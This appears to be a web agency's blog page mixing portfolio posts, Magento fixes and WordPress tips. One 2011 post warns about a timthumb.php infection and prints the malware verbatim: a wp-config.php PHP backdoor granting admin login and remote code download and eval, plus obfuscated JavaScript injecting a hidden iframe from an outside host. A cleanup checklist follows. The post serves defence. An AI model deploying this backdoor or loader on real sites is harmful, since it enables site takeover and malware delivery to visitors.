GammaFX, Inc.
Advanced creative solutions for your brand

Home / Portfolio / 3D / Video / Multimedia / 

2012 CES: Product Video Production

Client: Celestron, LLC

Project URL: http://www.youtube.com/watch?v=LiK_F2beE4w

Summary: GammaFX Design Studio’s video production crew was at the 2012 Consumer Electronics show in Las Vegas to produce several product videos for our clients. This video features Celestron’s regional sales manager talking about a new high-end astro-imaging system showcased at CES.

Trade shows offer a unique opportunity to capture the excitement generated by the new product and provide an excellent backdrop for the interview-style videos with sales staff and product managers. To learn what our production team can do for your brand at the next trade show, please contact us today.

Gamma360 – 360 Degree Product Views

GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New Gamma360 Service

In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, Gamma360 is a one stop solution for creating and deploying product 360s for the web, interactive product kiosks or mobile devices.

How It Works?

Gamma360 does not rely on photography or video.  Instead, we use CAD models provided by you to create life-like renderings of your product.  The final product, wrapped in our cross-platform player can be hosted on our content delivery network or reside on your website.

To get started, contact us today!

GammaFX Helps Celestron Launch A Stellar New Website

December 26th, 2011 by gammafx (0) Blog,News,Portfolio,Web Development / Design

Client: Celestron, LLC

Project URL: http://www.celestron.com/

Read more

New WordPress Malware Attack Exploiting timthumb.php Script

August 17th, 2011 by gammafx (0) Blog

There is a new malware infection that has been affecting thousands of WordPress sites that utilize popular timthumb.php image resizing script.

Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor’s computers.

At this stage of the infection attackers are also modifying two of WordPress core files /wp-config.php and /wp-includes/js/l10n.js

The wp-config.php gets the following new lines of code that allows hackers backdoor access to your website:

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == ’66f041e16a60928b05a7e228a89c3799′){
if ($_GET['pingnow']== ‘login’){
$user_login = ‘admin’;
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
}
if (($_GET['pingnow']== ‘exec’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).’.php’;
$fp = fopen($fnm, “w”);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo “// ”;
}
if (($_GET['pingnow']== ‘eval’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

The attackers also add the following code to your l10n.js file.

var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\x2E\x61\x3D\x27\x34\x27\x3B\x30\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\x2F\x67\x2D\x68\x2E\x6D\x2F\x6A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x65\x6C\x7C\x73\x74\x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\x6D\x65\x7C\x31\x70\x78\x7C\x4D\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x69\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\x64\x74\x68\x7C\x76\x61\x72\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x70\x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\x6F\x72\x64\x70\x72\x65\x73\x73\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\x7C\x31\x30\x30\x30\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2f46x1,_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6){_0x2f46x5=function (_0x2f46x3){return _0x2f46x3.toString(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3--){_0x2f46x6[_0x2f46x3.toString(_0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f46x4=[function (_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=function (){return _0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3--){if(_0x2f46x4[_0x2f46x3]){_0x2f46x1=_0x2f46x1[_0x4de4[4]]( new RegExp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),_0x2f46x4[_0x2f46x3]);}}return _0x2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));

This appends an iframe to the bottom of your blog through which they can inject future malware:

<iframe id="iframe" src="http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px; "></iframe>

Solution

  1. Immediately remove or update the timthumb.php script.  When removing don’t forget to also update your theme files that rely on this functionality.
  2. Delete the cache folder located in the root of your template.
  3. Remove the code above from your wp-config.php file.  Normally, the last line of that file should read: require_once(ABSPATH . ‘wp-settings.php’);
  4. Remove the code above from the /wp-includes/js/l10n.js file.
  5. Update all WordPress and FTP passwords for good measure.

Shopatron: 2011 OnTarget Conference

May 7th, 2011 by gammafx (0) Blog,News

We are back from Shopatron’s 2011 “On Target” Conference that took place in a picturesque city of Pizmo Beach, California.
Great thanks to Shopatron team for putting together an excellent 2-day event packed with awesome presentations and great networking opportunities.

We hope everyone enjoyed GammaFX’s presentation on Automation and working with APIs. In case you missed it, click here to get your copy

Check out the photos from the event here.

New Interactive Product Tours

Since the beginning of the year, GammaFX multimedia design team has been hard at work producing videos and 3d content to help our client brands showcase their exceptional products.  In this post we’d like to spotlight a couple of new Flash-based interactive product tours we’ve released in recent months.

The first one was designed for Celestron, the leading telescope manufacturer, to showcase the features of their revolutionary new SkyProdigy computerized telescope.  This robotic gizmo is equipped with an “eye” that allows it to establish it’s bearings without any human input. The hi-quality version of this app has also been used at the 2011 CES as a part of interactive touch screen kiosk designed by GammaFX to allow visitors experience SkyProdigy right on the convention floor.

The second tour was created for Earth Friendly Products, the leading manufacturer of “green” cleaning products, to showcase the use of their products throughout a household. The app also features direct links to product pages and is designed to be used as a sales tool at tradeshows and on dealer’s websites.

To learn about creative ways to showcase your product, please contact our multimedia sales specialist @ 310-691-8440.

Magento 1.5.0.1 – Problem Importing Images with Advanced DataFlow Profiles

March 28th, 2011 by gammafx (0) Blog

Software

  • Magento 1.5.0.1

Server Environment (dedicated)

  • Lynix/Windows
  • Apache
  • PHP
  • MySQL

Problem Description

  • After upgrading to 1.5.0.1 version of Magento, CSV-based import does not import images.  All other product information gets imported correctly, but images are being ignored.

Workaround (solution pending)

Upgrade to the latest version of Magento (at the moment it is ver. 1.5.1.0-beta1).  Create a new import profile just for images and bring them in separately. To do so follow the steps below:

  1. go to System > Import/Export > Dataflow – Profiles.
  2. Click Add New Profile.
  3. Setup a profile and select NO for “Original Magento attribute names in first row” (see attached screenshot)
  4. Map the fields to the ones in your CSV
  5. Save and Run the profile with your CSV

As long as the product is already imported the image CSV can just have a sku, image, thumbnail, small_image fields.

If the product does not exist, you’ll get an error on that line.

Hope this helps someone.

WordPress-Based Shopatron Turnkey Stores

February 27th, 2011 by gammafx (0) Blog,News

GammaFX is proud to announce a release of a new solution for Shopatron-enabled Manufacturers.   Our WordPress-based Shopatron Turnkey Store solution combines the ease of use of the leading content management system with retail-friendly Shopatron eCommerce.

As a part of the solution GammaFX offers:

  • Industry standard online store powered by WordPress and featuring a product catalog (with options), shopping cart and Shopatron checkout
  • Integration of checkout feedback loop populating transactional data in WordPress after customer checks out with Shopatron
  • Import of all current Shopatron product data into WordPress for current Shopatron OnBlocks users
  • Coordination of checkout URL, masking and analytics setup with Shopatron

Call  us  today to let one of our Shopatron Integration Specialists walk you through our entire array of Shopatron related services.

See it in action: http://www.immersionresearch.com/

Magento 1.5.0.1 – SQLSTATE[42S02]: Base table or view not found…

February 25th, 2011 by gammafx (0) Blog

Software

  • Magento 1.5.0.1

Server Environment (dedicated)

  • Lynix
  • Apache
  • PHP
  • MySQL

Problem Description

  • When using  Insert Image function in Magento’s WYSIWYG,  Create Folder function results in the following error:

    SQLSTATE[42S02]: Base table or view not found: 1146 Table ‘colorado_soybu.magento_core_directory_storage’ doesn’t exist

Solution

The issue is caused by a missing “core_directory_storage” table.  To remedy you’ll need to run the following command on your MySQL database (please make sure that you replace “mag_” table prefix with your own):

CREATE TABLE IF NOT EXISTS mag_core_directory_storage (
`directory_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(255) NOT NULL DEFAULT ”,
`path` varchar(255) NOT NULL DEFAULT ”,
`upload_time` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
`parent_id` int(10) unsigned DEFAULT NULL,
PRIMARY KEY (`directory_id`),
UNIQUE KEY `IDX_DIRECTORY_PATH` (`name`, `path`),
KEY `parent_id` (`parent_id`),
CONSTRAINT `FK_DIRECTORY_PARENT_ID` FOREIGN KEY (`parent_id`)
REFERENCES mag_core_directory_storage (`directory_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8

WordPress and iFrames

September 28th, 2010 by gammafx (0) Blog

iFrames are coming!  As you may have already noticed, your favorite video sharing websites like Vimeo & YouTube had begun introducing iFrame based syndication of their embeddable players.  While this offers a variety of new features, like iPad support for embedded videos, it might be very challenging for WordPress bloggers to insert iFrame-based code into their blog posts.  By default, such code would be filtered out by TinyMCE – WordPress’ WYSIWYG (or Rich Text) editor.

Fear not, the solution is simple enough.  Just add the following code to the functions.php file of your template, and voilà - life is beautiful once more.


function add_iframe($initArray) {
$initArray['extended_valid_elements'] = "iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]";
return $initArray;
}
add_filter('tiny_mce_before_init', 'add_iframe');